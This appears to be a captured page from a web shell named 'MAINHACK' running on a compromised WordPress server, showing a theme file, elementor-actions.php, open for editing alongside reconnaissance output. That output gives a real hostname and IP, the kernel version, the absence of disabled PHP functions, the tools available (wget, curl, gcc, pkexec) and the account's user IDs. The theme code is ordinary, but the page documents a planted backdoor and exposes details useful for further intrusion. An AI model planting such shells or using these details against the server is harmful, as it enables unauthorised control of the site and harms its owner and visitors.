[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: elementor-actions.php
<?php use Elementor\Core\Files\CSS\Post; use Elementor\Plugin; use Elementor\Post_CSS_File; add_action('wp_enqueue_scripts', 'alico_elementor_enqueue_scripts' ); add_filter('single_template', 'alico_load_canvas_template' ); function alico_elementor_enqueue_scripts() { $footer_layout_custom = alico_get_opt('footer_layout_custom'); $footer_page_layout_custom = alico_get_page_opt('footer_layout_custom',''); if(!empty( $footer_page_layout_custom )) $footer_layout_custom = $footer_page_layout_custom; if (empty($footer_layout_custom)) return; if (class_exists('\Elementor\Plugin')) { $elementor = Plugin::instance(); $elementor->frontend->enqueue_styles(); } /*if (class_exists('\ElementorPro\Plugin')) { $elementor_pro = \ElementorPro\Plugin::instance(); $elementor_pro->enqueue_styles(); }*/ $layout_id = (int)$footer_layout_custom; if ($layout_id > 0) { if (class_exists('\Elementor\Core\Files\CSS\Post')) { $css_file = new Post($layout_id); } elseif (class_exists('\Elementor\Post_CSS_File')) { $css_file = new Post_CSS_File($layout_id); } $css_file->enqueue(); } } function alico_load_canvas_template($single_template) { global $post; if (in_array($post->post_type, ['footer'])) { $elementor_2_0_canvas = ELEMENTOR_PATH . '/modules/page-templates/templates/canvas.php'; if (file_exists($elementor_2_0_canvas)) { return $elementor_2_0_canvas; } else { return ELEMENTOR_PATH . '/includes/page-templates/canvas.php'; } } return $single_template; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002